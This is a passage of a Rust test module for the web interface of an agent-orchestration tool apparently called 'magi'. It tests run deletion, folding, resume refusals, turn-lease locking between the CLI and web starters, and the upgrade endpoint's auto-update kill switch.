19138        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19139        assert_eq!(res.status, 409);
19140        assert!(
19141            res.json()["error"]
19142                .as_str()
19143                .unwrap()
19144                .contains("live daemon"),
19145            "the refusal must say who is holding it"
19146        );
19147        assert!(
19148            runs.join(run_running).exists(),
19149            "a run in flight keeps its directory"
19150        );
19151
19152        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
19153        let run_unfolded = "20260901-000000-unfd";
19154        let mut state2 = RunState::new(
19155            PathBuf::from("/repo"),
19156            "main".to_owned(),
19157            "abc".to_owned(),
19158            "instruction".to_owned(),
19159            Config::default(),
19160        );
19161        state2.id = run_unfolded.to_owned();
19162        state2.status = RunStatus::Ready;
19163        state2.candidates.push(crate::run::Candidate {
19164            index: 0,
19165            label: 'A',
19166            agent: "a".to_owned(),
19167            branch: "b".to_owned(),
19168            worktree: PathBuf::from("/w"),
19169            summary: String::new(),
19170            stat: String::new(),
19171            files: 1,
19172            commits: 1,
19173            empty: false,
19174            failed: None,
19175            verified_noop: None,
19176            duration_ms: 0,
19177            folded: false,
19178        });
19179        let dir2 = runs.join(run_unfolded);
19180        std::fs::create_dir_all(&dir2).expect("create dir2");
19181        std::fs::write(
19182            dir2.join("run.json"),
19183            serde_json::to_string(&state2).unwrap(),
19184        )
19185        .expect("write run.json");
19186
19187        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19188        assert_eq!(res.status, 409);
19189        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19190        assert!(dir2.exists(), "unfolded run directory is kept");
19191
19192        // 4. Missing id returns 404
19193        let res = fx.delete("/api/runs/nonexistent").await;
19194        assert_eq!(res.status, 404);
19195    }
19196
19197    /// The queue tiles on the Stats tab must render even on a home with no
19198    /// runs at all: queue state is not derived from run history, so hiding
19199    /// the whole dashboard body behind "no runs yet" would drop the one
19200    /// thing this tab promises unconditionally (queued/running/held/done).
19201    /// A DOM-level test would need a browser this suite does not have, so
19202    /// this pins the same invariant textually: `renderStatsQueue` is called
19203    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
19204    /// block that gates the run-derived panels.
19205    #[test]
19206    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19207        let start = APP_JS
19208            .find("function renderStats() {")
19209            .expect("renderStats");
19210        let end = start
19211            + APP_JS[start..]
19212                .find("function statsTile(")
19213                .expect("the next top-level function");
19214        let body = &APP_JS[start..end];
19215
19216        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19217        let gate_end = gate_start
19218            + body[gate_start..]
19219                .find("}\n  renderStatsQueue")
19220                .expect("the gate's own closing brace, right before the unconditional call");
19221        let gated = &body[gate_start..gate_end];
19222
19223        assert_eq!(
19224            body.matches("renderStatsQueue(").count(),
19225            1,
19226            "renderStats must call renderStatsQueue exactly once: {body}"
19227        );
19228        assert!(
19229            !gated.contains("renderStatsQueue"),
19230            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19231             run-derived panels on an empty run history - the queue panel has to render \
19232             regardless: {gated}"
19233        );
19234    }
19235
19236    #[test]
19237    fn web_ui_delete_contract_in_front_end() {
19238        // 1. API block has both delete endpoints
19239        assert!(APP_JS.contains("deleteRun:"));
19240        assert!(APP_JS.contains("deleteTask:"));
19241
19242        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
19243        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19244            ..APP_JS.find("function renderRuns").unwrap()];
19245        assert!(!run_cards_slice.to_lowercase().contains("delete"));
19246
19247        // 3. Run detail has delete entry and reasons
19248        assert!(APP_JS.contains("renderRunDelete"));
19249        assert!(APP_JS.contains("runDeleteReason"));
19250        assert!(APP_JS.contains("magi fold"));
19251        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19252
19253        // 4. Two-step delete arming and focus on Cancel
19254        assert!(APP_JS.contains("cancel.focus"));
19255        assert!(APP_JS.contains("armedRunDelete"));
19256        assert!(APP_JS.contains("renderTaskDeleteBox"));
19257        assert!(APP_JS.contains("armed${cap(key)}"));
19258
19259        // 5. Running task has disabled delete
19260        assert!(APP_JS.contains("disabled: status === \"running\""));
19261    }
19262
19263    /// Every element a run card's updater reaches for must be in the `refs`
19264    /// the builder handed it.
19265    ///
19266    /// `createRunCard` builds its elements, appends them to the card, and then
19267    /// lists them again in `row.refs`. That second list is the one the updater
19268    /// uses, and nothing connects the two - an element can be built, appended
19269    /// and rendered, and still be missing from `refs`. `superseded` was, for
19270    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
19271    /// exception took `syncList` with it, and the deck showed
19272    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
19273    /// line is computed before the cards, which is why the failure looked like
19274    /// a server that had lost its runs rather than a front end that had
19275    /// stopped rendering them.
19276    ///
19277    /// A `cargo test` cannot execute the front end, so this reads the two
19278    /// halves out of the source and compares them as sets. It is not a check
19279    /// on the wording of either list: adding an element, renaming one, or
19280    /// reordering them all keeps this passing, and only using one the builder
19281    /// never published fails it.
19282    #[test]
19283    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19284        let build = APP_JS
19285            .find("function createRunCard")
19286            .expect("createRunCard exists");
19287        let update = APP_JS
19288            .find("function updateRunCard")
19289            .expect("updateRunCard exists");
19290        let end = APP_JS
19291            .find("function renderRuns")
19292            .expect("renderRuns exists");
19293
19294        // The builder's published set: the object literal assigned to `refs`.
19295        let builder = &APP_JS[build..update];
19296        let open = builder.find("refs = {").expect("createRunCard sets refs");
19297        let literal = &builder[open + "refs = {".len()..];
19298        let close = literal.find('}').expect("the refs literal is closed");
19299        let published: HashSet<&str> = literal[..close]
19300            .split(',')
19301            // `name` and `name: value` both bind `name`.
19302            .filter_map(|entry| entry.split(':').next())
19303            .map(str::trim)
19304            .filter(|name| !name.is_empty())
19305            .collect();
19306        assert!(
19307            published.len() > 5,
19308            "the refs literal did not parse into names: {published:?}"
19309        );
19310
19311        // What the updaters reach for: every `r.<name>`, where `r` is the
19312        // `const r = row.refs` alias both functions open with.
19313        let mut used: Vec<&str> = Vec::new();
19314        let updaters = &APP_JS[update..end];
19315        for (at, _) in updaters.match_indices("r.") {
19316            // `r` must be the whole identifier, not the tail of another one
19317            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
19318            let before = updaters[..at].chars().next_back();
19319            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19320                continue;
19321            }
19322            let rest = &updaters[at + 2..];
19323            let len = rest
19324                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19325                .unwrap_or(rest.len());
19326            if len > 0 {
19327                used.push(&rest[..len]);
19328            }
19329        }
19330        assert!(
19331            used.len() > 5,
19332            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19333        );
19334
19335        let missing: Vec<&str> = used
19336            .iter()
19337            .copied()
19338            .filter(|name| !published.contains(name))
19339            .collect();
19340        assert!(
19341            missing.is_empty(),
19342            "a run card's updater reaches for {missing:?}, which `createRunCard` \
19343             never put in `refs` - every card will throw and the list will \
19344             render empty under a count line that says otherwise. Published: \
19345             {published:?}"
19346        );
19347    }
19348
19349    #[tokio::test]
19350    async fn folding_from_the_phone_reports_what_it_removed() {
19351        let fx = Fixture::start().await;
19352        let runs = fx.runs();
19353
19354        // A run with no candidates has nothing to fold, which is a 200 with an
19355        // honest count rather than an error: the operator asked for the trees
19356        // to be gone and they are.
19357        let id = "20260901-000000-fold";
19358        write_run(&runs, id, RunStatus::Stalled);
19359        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19360        assert_eq!(res.status, 200);
19361        assert_eq!(res.json()["removed_count"], 0);
19362        assert_eq!(res.json()["run"], id);
19363        assert!(
19364            runs.join(id).exists(),
19365            "a fold keeps the run's record; only the worktrees go"
19366        );
19367    }
19368
19369    #[tokio::test]
19370    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19371        let fx = Fixture::start().await;
19372        let runs = fx.runs();
19373        let wt = fx.home.path().join("wt").join("magi").join("dead");
19374        let id = "20260901-000000-dead";
19375        std::fs::create_dir_all(runs.join(id)).expect("run dir");
19376        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19377        std::fs::create_dir_all(&wt).expect("worktree dir");
19378
19379        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19380        assert_eq!(res.status, 200, "{}", res.body);
19381        assert!(
19382            res.json()["removed_count"].as_u64().unwrap() > 0,
19383            "the worktree this build could not read a state for still went"
19384        );
19385        assert!(
19386            !runs.join(id).exists(),
19387            "an unreadable run has no candidate list to fold selectively, so \
19388             the whole record goes - same as `magi fold` on the CLI"
19389        );
19390    }
19391
19392    #[tokio::test]
19393    async fn deleting_an_unreadable_run_removes_it_wholesale() {
19394        let fx = Fixture::start().await;
19395        let runs = fx.runs();
19396        let wt = fx.home.path().join("wt").join("magi").join("gone");
19397        let id = "20260901-000000-gone";
19398        std::fs::create_dir_all(runs.join(id)).expect("run dir");
19399        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19400        std::fs::create_dir_all(&wt).expect("worktree dir");
19401
19402        let res = fx.delete(&format!("/api/runs/{id}")).await;
19403        assert_eq!(res.status, 204, "{}", res.body);
19404        assert!(!runs.join(id).exists(), "the broken record is gone");
19405        assert!(!wt.exists(), "its worktree is gone too");
19406    }
19407
19408    #[tokio::test]
19409    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19410        let fx = Fixture::start().await;
19411        let runs = fx.runs();
19412        let id = "20260901-000000-live";
19413        write_run(&runs, id, RunStatus::Implementing);
19414
19415        let mut beat = crate::daemon::Status::new();
19416        beat.current = vec![crate::daemon::Current {
19417            task: "20260901-000000-task".to_owned(),
19418            run: id.to_owned(),
19419        }];
19420        beat.updated_at = jiff::Timestamp::now();
19421        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19422            .expect("publish a heartbeat");
19423
19424        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19425        assert_eq!(res.status, 409);
19426        assert!(
19427            res.json()["error"]
19428                .as_str()
19429                .unwrap()
19430                .contains("live daemon"),
19431            "folding under a running agent would pull its worktree away"
19432        );
19433    }
19434
19435    #[tokio::test]
19436    async fn fold_merged_requires_a_pr_url() {
19437        let fx = Fixture::start().await;
19438        let runs = fx.runs();
19439        let id = "20260901-000000-nourl";
19440        write_run(&runs, id, RunStatus::Blocked);
19441
19442        let res = fx
19443            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19444            .await;
19445        assert_eq!(res.status, 400, "{}", res.body);
19446
19447        let blank = fx
19448            .post(
19449                &format!("/api/runs/{id}/fold-merged"),
19450                Some(r#"{"pr_url":"   "}"#),
19451            )
19452            .await;
19453        assert_eq!(blank.status, 400, "{}", blank.body);
19454    }
19455
19456    #[tokio::test]
19457    async fn fold_merged_is_404_for_an_unknown_run() {
19458        let fx = Fixture::start().await;
19459        let res = fx
19460            .post(
19461                "/api/runs/nosuchrun/fold-merged",
19462                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19463            )
19464            .await;
19465        assert_eq!(res.status, 404, "{}", res.body);
19466    }
19467
19468    #[tokio::test]
19469    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19470        let fx = Fixture::start().await;
19471        let runs = fx.runs();
19472        let id = "20260901-000000-livemerge";
19473        write_run(&runs, id, RunStatus::Blocked);
19474
19475        let mut beat = crate::daemon::Status::new();
19476        beat.current = vec![crate::daemon::Current {
19477            task: "20260901-000000-task".to_owned(),
19478            run: id.to_owned(),
19479        }];
19480        beat.updated_at = jiff::Timestamp::now();
19481        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19482            .expect("publish a heartbeat");
19483
19484        let res = fx
19485            .post(
19486                &format!("/api/runs/{id}/fold-merged"),
19487                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19488            )
19489            .await;
19490        assert_eq!(res.status, 409, "{}", res.body);
19491        assert!(
19492            res.json()["error"]
19493                .as_str()
19494                .unwrap()
19495                .contains("live daemon"),
19496            "correcting a run's merge underneath a running agent would race \
19497             whatever it is doing to the same `status`/`merge` fields"
19498        );
19499    }
19500
19501    /// A pull request `gh` cannot even ask about (no such remote, no such
19502    /// repository) must never be recorded as a merge on a guess - the same
19503    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
19504    /// command line, reached here through the phone route instead.
19505    #[tokio::test]
19506    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19507        let fx = Fixture::start().await;
19508        let runs = fx.runs();
19509        let id = "20260901-000000-unconfirmed";
19510        write_run(&runs, id, RunStatus::Blocked);
19511
19512        let res = fx
19513            .post(
19514                &format!("/api/runs/{id}/fold-merged"),
19515                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19516            )
19517            .await;
19518        assert_eq!(res.status, 400, "{}", res.body);
19519        assert_eq!(
19520            read_run(&runs, id).unwrap().status,
19521            RunStatus::Blocked,
19522            "a pull request that could not be confirmed merged must leave \
19523             the run exactly where it was"
19524        );
19525    }
19526
19527    #[tokio::test]
19528    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19529        let fx = Fixture::start().await;
19530        let runs = fx.runs();
19531
19532        // Only a finished run and a failed one. An *interrupted* run - a
19533        // parked one, or one whose daemon was killed mid-node - is the case
19534        // resuming exists for: run 4043 sat at `reviewing` with the deck
19535        // saying it could not be resumed, which was the one state where
19536        // resuming was the only sensible answer.
19537        for (status, word) in [
19538            (RunStatus::Merged, "merged"),
19539            (RunStatus::Ready, "ready"),
19540            (RunStatus::Failed, "failed"),
19541        ] {
19542            let id = format!("20260901-000000-{}", &word[..4]);
19543            write_run(&runs, &id, status);
19544            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19545            assert_eq!(res.status, 409, "{word} must not be resumable");
19546            let err = res.json()["error"].as_str().unwrap().to_owned();
19547            assert!(err.contains(word), "the refusal names the status: {err}");
19548        }
19549
19550        // And an interrupted run is accepted: 202, with the resume running in
19551        // the background. `Runner::resume` fails immediately here - the
19552        // fixture's run points at a repository that does not exist - which is
19553        // the point: the handler must not wait for it to find out.
19554        let mid = "20260901-000000-midf";
19555        write_run(&runs, mid, RunStatus::Reviewing);
19556        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19557        assert_eq!(res.status, 202, "an interrupted run is resumable");
19558    }
19559
19560    #[tokio::test]
19561    async fn resume_is_refused_while_the_loop_is_running() {
19562        let fx = Fixture::start().await;
19563        let runs = fx.runs();
19564        let stalled = "20260901-000000-stal";
19565        write_run(&runs, stalled, RunStatus::Stalled);
19566
19567        // The loop is busy with a *different* run, and that is still a
19568        // refusal: a manual resume must never race whatever the loop itself
19569        // is already driving, whether that is one run or several.
19570        let mut beat = crate::daemon::Status::new();
19571        beat.current = vec![crate::daemon::Current {
19572            task: "20260901-000000-task".to_owned(),
19573            run: "20260901-000000-othr".to_owned(),
19574        }];
19575        beat.updated_at = jiff::Timestamp::now();
19576        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19577            .expect("publish a heartbeat");
19578
19579        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19580        assert_eq!(res.status, 409);
19581        let err = res.json()["error"].as_str().unwrap().to_owned();
19582        assert!(err.contains("othr"), "it names what the loop is on: {err}");
19583        assert!(err.contains("stop it first"), "{err}");
19584    }
19585
19586    #[test]
19587    fn a_run_cannot_be_resumed_twice_at_once() {
19588        let home = TempDir::new().expect("temp home");
19589        let ui = Ui::new(
19590            Queue::at(home.path().join("queue")),
19591            Questions::at(home.path().join("questions")),
19592            Talks::at(home.path().join("talks")),
19593            home.path().join("runs"),
19594            home.path().to_path_buf(),
19595            PathBuf::from("/repo"),
19596        )
19597        .with_worktrees_root(home.path().join("wt"));
19598        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19599        let again = ui.begin_resume("20260901-000000-once");
19600        assert!(again.is_err(), "a second tap must not start a second graph");
19601        drop(first);
19602        assert!(
19603            ui.begin_resume("20260901-000000-once").is_ok(),
19604            "and the claim is released when the attempt ends"
19605        );
19606    }
19607
19608    #[test]
19609    fn talk_thinking_tracks_only_its_held_turn_claim() {
19610        let home = TempDir::new().expect("temp home");
19611        let ui = Ui::new(
19612            Queue::at(home.path().join("queue")),
19613            Questions::at(home.path().join("questions")),
19614            Talks::at(home.path().join("talks")),
19615            home.path().join("runs"),
19616            home.path().to_path_buf(),
19617            PathBuf::from("/repo"),
19618        )
19619        .with_worktrees_root(home.path().join("wt"));
19620        let id = "20260901-000000-once";
19621
19622        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19623        let turn = ui.begin_talk_turn(id).expect("claim turn");
19624        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19625        assert!(
19626            !ui.is_thinking("20260901-000000-other"),
19627            "one talk's turn does not make another talk busy"
19628        );
19629        drop(turn);
19630        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19631    }
19632
19633    #[test]
19634    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19635        let home = TempDir::new().expect("temp home");
19636        let talks = Talks::at(home.path().join("talks"));
19637        let ui = Ui::new(
19638            Queue::at(home.path().join("queue")),
19639            Questions::at(home.path().join("questions")),
19640            talks.clone(),
19641            home.path().join("runs"),
19642            home.path().to_path_buf(),
19643            PathBuf::from("/repo"),
19644        )
19645        .with_worktrees_root(home.path().join("wt"));
19646        let id = "20260901-000000-cross";
19647
19648        let other = Talks::at(home.path().join("talks"))
19649            .claim_turn(id)
19650            .expect("claim")
19651            .expect("the other process wins");
19652        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19653        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19654        assert!(
19655            matches!(
19656                ui.begin_talk_turn_unless_pending(id).expect("start"),
19657                TalkTurnStart::Foreign
19658            ),
19659            "a foreign holder is refused, not queued behind"
19660        );
19661        assert!(
19662            !ui.talk_turns.lock().unwrap().live.contains(id),
19663            "a refused claim leaves no in-process entry behind"
19664        );
19665        drop(other);
19666        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19667        assert!(talks.turn_held(id), "the web turn holds the lease");
19668        drop(turn);
19669        assert!(
19670            !talks.turn_held(id),
19671            "dropping the guard releases the lease"
19672        );
19673    }
19674
19675    fn consult_question(ui: &Ui) -> Question {
19676        let mut q = Question::new(
19677            "20260901-000000-consult".to_owned(),
19678            "implement".to_owned(),
19679            "impl-A".to_owned(),
19680            "Which backend?".to_owned(),
19681            String::new(),
19682            vec!["SQLite".to_owned(), "Redis".to_owned()],
19683        );
19684        ui.questions.put(&mut q).expect("question");
19685        q
19686    }
19687
19688    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19689        (
19690            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19691            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19692        )
19693    }
19694
19695    #[tokio::test]
19696    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19697        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19698        let q = consult_question(&ui);
19699        let talk = ui.talks.get(&id).expect("talk");
19700        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19701        let before = consult_snapshot(&ui, &q, &id);
19702        let cli_talks = Talks::at(ui.home.join("talks"));
19703        assert_eq!(
19704            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19705                .await
19706                .expect("CLI starter"),
19707            crate::consult::Started::Busy
19708        );
19709        assert_eq!(consult_snapshot(&ui, &q, &id), before);
19710        assert!(ui.is_thinking(&id));
19711        drop(guard);
19712        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19713    }
19714
19715    #[tokio::test]
19716    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19717        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19718        let q = consult_question(&ui);
19719        let talk = ui.talks.get(&id).expect("talk");
19720        let started = tmp.path().join("started");
19721        let release = tmp.path().join("release");
19722        let script = tmp.path().join("consult-agent.sh");
19723        std::fs::write(
19724            &script,
19725            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
19726        )
19727        .expect("script");
19728        let mut cfg = stub_config();
19729        cfg.agents[0].id = "mock".to_owned();
19730        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19731        cfg.agents[0].env = std::collections::BTreeMap::from([
19732            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19733            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19734        ]);
19735        let questions = ui.questions.clone();
19736        let cli_talks = Talks::at(ui.home.join("talks"));
19737        let cli_q = q.clone();
19738        let turn = tokio::spawn(async move {
19739            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19740        });
19741        let ready = tokio::time::timeout(Duration::from_secs(30), async {
19742            while !started.exists() {
19743                tokio::time::sleep(Duration::from_millis(10)).await;
19744            }
19745        })
19746        .await;
19747        // Always release and join the agent, even if readiness or the web
19748        // request fails, so a failed assertion cannot leave a turn behind.
19749        let refusal = if ready.is_ok() {
19750            let before = consult_snapshot(&ui, &q, &id);
19751            let result = talk_say(
19752                State(Arc::clone(&ui)),
19753                Path(id.clone()),
19754                Ok(Json(NewTalkTurn {
19755                    reply_to: None,
19756                    text: "another message".to_owned(),
19757                    attachments: Vec::new(),
19758                })),
19759            )
19760            .await;
19761            Some((result, before, consult_snapshot(&ui, &q, &id)))
19762        } else {
19763            None
19764        };
19765        std::fs::write(&release, "").expect("release agent");
19766        let done = turn.await.expect("join CLI turn");
19767        ready.expect("agent started before deadline");
19768        let (result, before, after) = refusal.expect("web request");
19769        let error = result.expect_err("web must refuse the CLI's turn");
19770        assert_eq!(error.status, StatusCode::CONFLICT);
19771        assert!(error.message.contains("a turn is already running"));
19772        assert_eq!(
19773            after, before,
19774            "refusal preserves question, draft and history"
19775        );
19776        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
19777        let guard = ui
19778            .begin_talk_turn(&id)
19779            .expect("web claim")
19780            .expect("free again");
19781        drop(guard);
19782    }
19783
19784    #[test]
19785    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
19786        let home = TempDir::new().expect("temp home");
19787        let talks = Talks::at(home.path().join("talks"));
19788        let ui = Ui::new(
19789            Queue::at(home.path().join("queue")),
19790            Questions::at(home.path().join("questions")),
19791            talks.clone(),
19792            home.path().join("runs"),
19793            home.path().to_path_buf(),
19794            PathBuf::from("/repo"),
19795        )
19796        .with_worktrees_root(home.path().join("wt"));
19797        let id = "20260901-000000-order";
19798        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19799        // Hold the slot mutex so the drop can finish the lease but not the slot.
19800        let slots = ui.talk_turns.lock().unwrap();
19801        let dropper = std::thread::spawn(move || drop(turn));
19802        let start = std::time::Instant::now();
19803        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
19804            std::thread::sleep(Duration::from_millis(5));
19805        }
19806        assert!(!talks.turn_held(id), "the lease is released first");
19807        assert!(slots.live.contains(id), "the slot is still held meanwhile");
19808        drop(slots);
19809        dropper.join().expect("join");
19810        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
19811    }
19812
19813    #[tokio::test]
19814    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
19815        let fx = Fixture::start().await;
19816        // Somebody else's `magi serve` owns the queue. Replacing this binary
19817        // would leave that process running an old one against the same
19818        // claims, which is worse than refusing.
19819        let mut beat = crate::daemon::Status::new();
19820        beat.pid = 4321;
19821        beat.updated_at = jiff::Timestamp::now();
19822        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19823            .expect("publish a heartbeat");
19824
19825        let res = fx.post("/api/upgrade", None).await;
19826        assert_eq!(res.status, 409);
19827        let err = res.json()["error"].as_str().unwrap().to_owned();
19828        assert!(err.contains("4321"), "the refusal names the owner: {err}");
19829        assert!(err.contains("old one against the same queue"), "{err}");
19830    }
19831
19832    /// [`should_spawn_recheck`] must refuse for the same two reasons
19833    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
19834    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
19835    /// Purely a predicate over config and the environment - no network, no
19836    /// disk, no runtime - so unlike the fixture-based tests around it this
19837    /// one needs neither.
19838    #[test]
19839    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
19840        assert!(!should_spawn_recheck(&crate::config::Update {
19841            mode: UpdateMode::Off,
19842            interval: None,
19843        }));
19844
19845        // SAFETY: single-threaded as far as this variable goes, the same
19846        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
19847        unsafe {
19848            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19849        }
19850        let killed = should_spawn_recheck(&crate::config::Update {
19851            mode: UpdateMode::Notify,
19852            interval: None,
19853        });
19854        unsafe {
19855            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19856        }
19857        assert!(
19858            !killed,
19859            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
19860             one-time startup check"
19861        );
19862
19863        assert!(should_spawn_recheck(&crate::config::Update {
19864            mode: UpdateMode::Notify,
19865            interval: None,
19866        }));
19867    }
19868
19869    /// [`recheck_poll_period`] must track a configured `[update] interval`
19870    /// shorter than its own default ceiling - a fixed sleep here would leave
19871    /// an operator's short interval waiting on the next wake-up instead of on
19872    /// `should_check`, which is the same bug this whole task exists to fix,
19873    /// just one level down.
19874    #[test]
19875    fn recheck_poll_period_tracks_a_short_configured_interval() {
19876        let short = crate::config::Update {
19877            mode: UpdateMode::Notify,
19878            interval: Some("1m".to_owned()),
19879        };
19880        let period = recheck_poll_period(&short);
19881        assert!(
19882            period <= Duration::from_secs(30),
19883            "a one-minute interval must wake the task far sooner than the \
19884             default ceiling, or the deck would not notice within the \
19885             interval the operator configured: got {period:?}"
19886        );
19887
19888        let default = crate::config::Update {
19889            mode: UpdateMode::Notify,
19890            interval: None,
19891        };
19892        assert_eq!(
19893            recheck_poll_period(&default),
19894            UPDATE_RECHECK_POLL_MAX,
19895            "the default day-long interval should poll at the (capped) \
19896             ceiling rather than needlessly often"
19897        );
19898    }
19899
19900    /// [`update_recheck_due`] must not repeat a check made moments ago, the
19901    /// same throttle `updater::Checker::should_check` already gives the
19902    /// CLI's notify mode. Built over an explicit state file via
19903    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
19904    /// write the operator's real `last_update_check.json` - and therefore
19905    /// cannot flake on whatever that file happens to say on the machine
19906    /// running the test.
19907    #[test]
19908    fn recheck_skips_the_network_before_the_interval_elapses() {
19909        let dir = TempDir::new().expect("temp dir");
19910        let path = dir.path().join("state.json");
19911        let state = kaishin::UpdateCheckState {
19912            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
19913            last_known_latest: None,
19914            last_known_url: None,
19915        };
19916        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
19917
19918        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
19919        assert!(
19920            !update_recheck_due(&checker, None),
19921            "a check made moments ago must not be repeated before the \
19922             configured interval elapses"
19923        );
19924    }
19925
19926    /// An upgrade this deck already started must not be raced by a recheck
19927    /// that discovers a newer release mid-install - regardless of what
19928    /// `should_check` says, which is why the state file here is missing
19929    /// entirely: read alone, that alone would answer "never checked, go
19930    /// ahead".
19931    #[test]
19932    fn recheck_defers_to_an_upgrade_already_in_flight() {
19933        let dir = TempDir::new().expect("temp dir");
19934        let path = dir.path().join("state.json");
19935        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
19936        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
19937
19938        assert!(
19939            !update_recheck_due(&checker, Some(&progress)),
19940            "a recheck must not run while an upgrade this deck started is \
19941             still moving"
19942        );
19943    }
19944
19945    #[tokio::test]
19946    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
19947        // The same env var the background check honours (`disabled_by_env`)
19948        // must also stop a button press before it ever calls
19949        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
19950        // means "never contact GitHub from this process", and a tap on the
19951        // upgrade button must not override that any more than a broken
19952        // `magi.toml` may. Left unset, this fixture's default config would
19953        // otherwise reach a real, unauthenticated GitHub call.
19954        //
19955        // SAFETY: single-threaded as far as this variable goes - nothing else
19956        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
19957        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
19958        unsafe {
19959            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19960        }
19961        let fx = Fixture::start().await;
19962        let res = fx.post("/api/upgrade", None).await;
19963        unsafe {
19964            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19965        }
19966        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19967        let body = res.json();
19968        assert!(body["to"].is_null(), "there was no release to move to");
19969        assert!(body["parked"].is_null(), "and nothing was parked");
19970        assert!(
19971            body["detail"]
19972                .as_str()
19973                .unwrap()
19974                .contains("disabled by MAGI_NO_AUTOUPDATE"),
19975            "{body:?}"
19976        );
19977    }
19978
19979    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
